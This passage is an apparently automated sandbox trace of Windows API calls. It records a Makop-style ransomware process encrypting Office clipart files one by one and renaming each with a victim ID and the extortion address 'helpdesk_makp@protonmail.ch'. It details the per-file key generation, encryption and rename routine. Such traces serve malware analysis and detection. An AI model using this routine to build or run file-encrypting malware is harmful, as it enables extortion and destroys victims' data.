RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.390] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.390] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.390] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.391] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.391] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.391] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.391] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.391] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.392] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.392] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.392] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.392] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf438, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf438, lpOverlapped=0x0) returned 1 [0147.397] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf440, dwBufLen=0xf440 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf440) returned 1 [0147.397] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.397] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf440, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf440, lpOverlapped=0x0) returned 1 [0147.398] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.398] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.398] SetEndOfFile (hFile=0xf0) returned 1 [0147.407] GetProcessHeap () returned 0x48a0000 [0147.407] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.407] GetProcessHeap () returned 0x48a0000 [0147.407] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.407] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.409] CloseHandle (hObject=0xf0) returned 1 [0147.409] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66374600, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66374600, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02845G.GIF", cAlternateFileName="")) returned 1 [0147.409] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF") returned 63 [0147.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.411] GetProcessHeap () returned 0x48a0000 [0147.411] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.411] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.411] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.411] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0147.416] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.416] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.416] GetProcessHeap () returned 0x48a0000 [0147.416] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.416] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.416] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.416] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.416] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.417] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.417] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.418] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.418] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.418] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.418] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.418] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.418] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x30f2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x30f2, lpOverlapped=0x0) returned 1 [0147.420] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3100, dwBufLen=0x3100 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3100) returned 1 [0147.420] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.420] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3100, lpOverlapped=0x0) returned 1 [0147.420] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.420] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x31d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.420] SetEndOfFile (hFile=0xf0) returned 1 [0147.427] GetProcessHeap () returned 0x48a0000 [0147.427] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.427] GetProcessHeap () returned 0x48a0000 [0147.427] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.427] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.428] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.429] CloseHandle (hObject=0xf0) returned 1 [0147.429] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02897J.JPG", cAlternateFileName="")) returned 1 [0147.429] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG") returned 63 [0147.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.432] GetProcessHeap () returned 0x48a0000 [0147.432] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.432] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.432] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.432] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0147.437] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.437] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.437] GetProcessHeap () returned 0x48a0000 [0147.437] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.437] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.437] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.437] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.437] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.437] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.437] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.438] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.438] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.438] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.438] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.438] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.438] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c45, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c45, lpOverlapped=0x0) returned 1 [0147.440] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c50, dwBufLen=0x3c50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c50) returned 1 [0147.440] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.441] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3c50, lpOverlapped=0x0) returned 1 [0147.441] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.441] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.441] SetEndOfFile (hFile=0xf0) returned 1 [0147.450] GetProcessHeap () returned 0x48a0000 [0147.450] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.450] GetProcessHeap () returned 0x48a0000 [0147.450] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.450] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.452] CloseHandle (hObject=0xf0) returned 1 [0147.452] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f66600, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe0f66600, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x3c76, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03011U.BMP", cAlternateFileName="")) returned 1 [0147.452] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP") returned 63 [0147.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.453] GetProcessHeap () returned 0x48a0000 [0147.453] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.453] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.453] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.454] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0147.477] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.477] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.478] GetProcessHeap () returned 0x48a0000 [0147.478] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.478] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.478] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.478] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.478] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.478] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.478] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.478] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.479] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.479] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.479] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.479] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.480] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c76, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c76, lpOverlapped=0x0) returned 1 [0147.481] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c80, dwBufLen=0x3c80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c80) returned 1 [0147.482] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.482] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3c80, lpOverlapped=0x0) returned 1 [0147.482] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.482] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.482] SetEndOfFile (hFile=0xf0) returned 1 [0147.490] GetProcessHeap () returned 0x48a0000 [0147.490] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.490] GetProcessHeap () returned 0x48a0000 [0147.490] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.490] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.490] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.492] CloseHandle (hObject=0xf0) returned 1 [0147.492] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa55b9c00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa55b9c00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03012U.BMP", cAlternateFileName="")) returned 1 [0147.492] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP") returned 63 [0147.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.493] GetProcessHeap () returned 0x48a0000 [0147.493] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.493] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.493] SetFilePointerEx (in: 